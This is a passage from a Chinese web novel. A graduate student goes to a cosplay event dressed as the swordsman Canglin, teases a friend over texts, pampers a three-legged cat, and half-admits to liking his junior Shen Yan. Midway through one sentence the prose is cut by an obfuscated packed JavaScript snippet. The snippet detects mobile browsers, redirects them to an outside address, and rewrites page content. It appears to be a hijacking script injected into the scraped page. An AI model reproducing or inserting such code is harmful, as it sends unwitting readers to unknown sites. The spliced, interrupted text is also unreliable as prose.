“……改论文,上周我跟你提过的那篇。” “……” 沉默片刻,他接着低头研究葡萄茶:“没耽误你吧?” “不耽误。”我立刻道,“能跟你一起……我很高兴。” 手里面杯子晃了一下,沈言也笑了。 “我也是。” 他抬起头,又重复一遍:“师兄,我也很高兴。” 是我从来没想过的景象——很好的景象。 睡着的三角铁,被收好的小猫铃铛,撒了很多巧克力碎的芝士挞,四角有毛球的腊肠狗抱枕,零点的烟花与钟声,还有沈言被照亮的半边侧脸。 烟花放了好久,芝士挞吃完了,外面还有烟花陆陆续续地升起来。江滩上大概还热热闹闹地挤着很多人。 沈言对着窗外看了很久,忽然凑近一点:“师兄,其实我之前……” “嗯?” “算了。” 他说到这里又不说了,笑了笑,梨涡若隐若现地浮上来,转过头。 “到时候再说吧。” “什么时候?” “到时候你就知道了。” “……现在不能说吗?” “不能。” 话说一半的人是最可恶的,但是偏偏说一半的人是沈言。我又没办法觉得他可恶,只能找其他路子。 “能贿赂吗?” “不能。” 他似乎忽然觉得我这样子很有意思,故意一样,又跟我补充一句:“是你听了应该……嗯,应该会觉得挺高兴的事情。” 神神秘秘的,到底有什么好事瞒着我。 19. 19 周五晚上试了半个小时衣服,站在镜子前面,跟里面发冠晶晶亮、肩甲晶晶亮、护腕晶晶亮的高马尾剑修对视十秒钟,我觉得自己身上的学术斑都淡了。 其实这次接官委之前想了很久——我仍然记得上次在漫展上当沧凛的时候,被叫去开组会的情景。 但是老话说得好,在哪里跌倒就在哪里爬起来。 我不信这次出沧凛还能被叫去开组会。 看来看去,总觉得腰上的小配饰哪里的细节好像不太对。我拿手机准备找游戏截图对比一下的时候,看见有几条未读消息。 [白夜]:周六别带着你那个宝贝围巾出沧凛行不行。 [白夜]:沧凛他是个剑修,是个来自上古时代的剑修。 [白夜]:算我求你。我真不想跟一个系围巾的沧凛一起坐在嘉宾席上。 我觉得这人真是莫名其妙的。 [非衣]:我又不是有什么毛病,我戴围巾出沧凛干什么? 我还是有一点职业素养的。 对面删删打打半分钟,才蹦出来条消息。 [白夜]:你以为呢? 一并甩过来的还有一个诡异的表情包。 懒得跟他多废话。我对着刚刚微修过的假发多角度拍了几张给他展示,问他是不是比上次看起来更还原一点。 [白夜]:可以可以,你找的哪个老师?也推给我呗。 [白夜]:等一下,你什么时候也买了这个巧克力饼干?我上次跟你种草的时候你不是说不爱吃甜的吗,怎么自己偷偷买了。 我看了一眼,他说的巧克力饼干,应该是我上次跟沈言出去买猫饼干的时候顺手买的人饼干。 “这也给三角铁吃?” 沈言当时往购物车里面丢了两盒,似乎有点无奈地扫我一眼:“这是给我吃。” “……好的。” 说完他又自己脚步顿了顿,往后倒退两步,想了想,又拿一盒。 “这么好吃?” “挺好吃的。”他看看我,准备拿起来第四盒,“你要尝尝吗?” 上周末拆开的,放在桌子上,有时候写论文的时候会吃一点,除了有一点太甜了之外,的确还不错。 总之我跟白夜老师解释,在甜咸一事上,是我之前过于片面,但是现在已经迷途知返,在师弟的熏陶下更加兼收并蓄了。 巧克力小饼干即是明证。 当然了,白夜老师又没有师弟,也可以理解他不太能明白此事。 于是我和他提供了详实的论据,好充分论证师弟是如何熏陶我这样一个顽固不化的人。 三条60秒语音发过去,对面这次又莫名其妙地沉默了几分钟。 [白夜]:……我真求你了。 [白夜]:你带着你那个师弟一起来好了! [非衣]:你求了我也不会带的。 对面留下了三串省略号,不知何意,没空琢磨。三角铁正在脚边喵喵叫要吃饭。 给三角铁喂了羊奶粉擦了脸,我照例给沈言拍了发过去。师弟自己不爱好好吃饭,但是会非常严格地监督小猫吃饭。 果然又是半分钟不到就回复我——其实也不是在跟我讲话,是在夸三角铁是好小猫。 没提我,但是我决定自己四舍五入一下,就当他是在夸师兄是好师兄。 三角铁现在走路已经不乱晃了,虽然三条腿走路,但是非常热衷于跑来跑去捡球、捡毛绒玩具、捡各种东西。 陪它玩了半个小时,再把腰上的小配饰改清楚,已经过了晚上九点半,我想起来还有个审稿意见没写。 猫和猫果然还是不一样。三角铁怎么看,都一点看不出来跟师弟哪里像。实物小猫还是无法代替我的电子小猫。 放出来小狸花,顺手准备点它的衣柜子的时候,我纠结了一下。 沈言上次特地强调,给小猫穿衣服是人类不好的行为。 我当然不会给三角铁乱穿的,感觉会被师弟前踢横踢推踢再正拳突击。 但是电子小猫,应该是不用讲究这些的吧? 对着屏幕这样思考,我也没打字,小狸花自己正在围着键盘来回转圈,尾巴尖从按键上面扫过去,有点无聊的样子。 师弟又不知道。 犹豫三秒钟,我愉快地点开了小狸花越来越丰富多彩的衣柜。 天知、地知、我知、小狸花知,师弟是不会知道的。 ——即便他俩长得很像。 圣诞帽出现在头上的一瞬间,小狸花似乎愣了一下,转过头的时候,小绒球晃一下,我莫名从它的眼睛里面品出来一点不可置信。 中国小猫不过洋节吗? 好小猫。好小猫。 在青色绣珍珠的小披风和深蓝色垂璎珞的小披风之间来回换了几遍,我选了后者。 ——其实师弟……我是说猫。其实小狸花穿哪个都很好看,主要原因是,深蓝色的那件跟现在身上这件沧凛的衣服也有点像。 两件披风在身上来回换来换去,小狸花这次不是不可置信了,被绑架了一样蹲在原地,眼睛直勾勾地盯着我,似乎想给我左勾拳、再给我右勾拳。 小猫不耐烦,但是小猫还是配合换衣服。 好小猫,好小猫。 换衣服的间隙,我给好小猫投喂草莓夹心小饼干。跟之前自己转过去抱着啃不一样,这次它看一眼就直接一爪子推开了,继续瞪着我。 小猫知道晚上不能吃太多零食,主动拒绝不良诱惑。 好小猫,好师弟…… 等一下! 我才发现大概是这两天真的忙得有点晕头转向了,自己嘀咕废话都嘀咕串了。 小猫推开了饼干,接着瞪我。但是话又说回来了,他俩真的很像。 十点半合上电脑的时候,我看见沈言不知道什么时候给我发了消息。 我点进去,看见是两张图片。 一张是投稿系统截图,返修稿传了回去,按常规流程给我看复审进度。 另一张是个小雪人,很小,还没有手掌大,插着两根小树枝,不知道从哪搞的几颗小纽扣。灯光有点暗,小雪人也有点模糊,看背景像是宿舍的窗台。 什么时候下雪了吗? 我拉开窗帘,才发现外面不知道什么时候真的纷纷扬扬飘起来了雪花,白茫茫一片,照在远处近处高高低低的灯光里面,窗户外面的城市好像一个水晶球一样。 窗台上面也有一层积雪。五分钟之后,我也给沈言展示我新鲜出炉的小雪人。 按照平常来说,他多少还是会点评几句的,但今晚不知道怎么回事,相当地惜字如金。回了个已阅,就不理我了。 好像打定主意不跟我说话一样。 * 牛马研究生裴知行暂时下线,沧凛在周六早上六点半准时出门。 包里面杂七杂八放了不少东西,就是没放电脑,实在是轻盈得有点不同寻常。 ……轻盈得有点让我觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154806|196536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太安心。 数字一层一层跳上来,背着没装电脑的包默念到第十二遍这次肯定不会被拉去开组会,在电梯还有一层楼到的时候,被裴知行忽然上身的沧凛还是转头回去拿钥匙开门。 来回纠结了一个早上,电脑到底还是被塞进去了。 但是只是起到一个安心的作用。看来人果然不会在同一个地方跌倒两次。我度过了相当快乐的一上午,没有本子,没有论文,也没有组会。 嘉宾中间有十五分钟的休息时间。场馆里面吵吵嚷嚷的,白夜看了眼人群,略显疲惫:“还有好多人在排队。” “那也比开组会强。” “关键我跟你讲,我妹今天还非得来排,我说你这干啥玩意儿啊,她非得说跟平常看着不一样。”白夜叹气,“嗯?你这边怎么有个人快排到了又跑一边了……算了。这一上午也没看见我妹,指不定跟她同学在哪排着呢。” 我刚才在低头找东西,没看见他说的人,想象了一下:“你是说你等下还要当着你妹妹跟她同学的面,上舞台配着你那个苦情bgm表演是吗?” 还好此地没有我的三次熟人。想一想都很可怕的场景。 白夜呵呵一笑,仿佛失去了所有力气,翻出来自己的巧克力饼干,刚拆开包装,又上下看看我:“怎么不带你师弟来?” 我觉得这个人真是莫名其妙的:“我为什么要带我师弟来?” 他没说话,擦擦手,我忽然心下一震。 “你居然觊觎我师弟?” “……” 白夜没抬头,一边找自己的道具洞箫一边冷笑一声:“我觊觎你师弟?你是不是有毛病……我看你不是有把柄在他手里,” 话音停一下,洞箫上面的穗子一甩:“你就是喜欢人家吧。” ……这种事情怎么能在大庭广众之下就这么随便说出口啊! 白夜被制止了还很不理解:“什么小声点——就是开个玩笑,你反应这么大干什么?” “……你开玩笑的?” “……你来真的?” 空气忽然凝固了。沉默几秒钟之后,他脸上浮起来见鬼的表情。 “你之前不是说谈恋爱只会耽误你搞学术和搞二次元的吗?你之前不是说这辈子都不会干这种事情吗?” 顿了一下,他声音有点颤抖。 “老师,说好的直男呢?” 我不知道怎么跟他解释,最终只能说:“这次真不一样。” “停,停,你别说了,”白夜搂着自己的箫往后缩,“我没有听恋爱脑解释的义务!” 没有跟不理解师兄弟情谊的人说话的义务。 手机震了一下,我决定不去揣摩白夜的心路历程。 实验楼外面的梅花不知道什么时候开了,瘦枝艳蕊照着月色水光,很好看。昨天晚上出来的时候我拍了一下,忘记发给沈言看了,早上才想起来发给他。 肯定是师弟回我消息了。 愉快地拿出来手机,看见熟悉的风景头像的一瞬间,我心里咯噔一下。 [程老师]:知行,现在方便吗?[/微笑] [程老师]:实在不好意思,有个东西,我得临时跟你们确认一下,马上要用。十分钟就行,我说快一点。[/玫瑰][/抱拳] 把东西暂时托付给白夜的时候,他仍然很警惕地看着我。 “这样看我干什么?”面无表情地给他看消息,我告诉他,“你最喜欢看的组会环节来了。”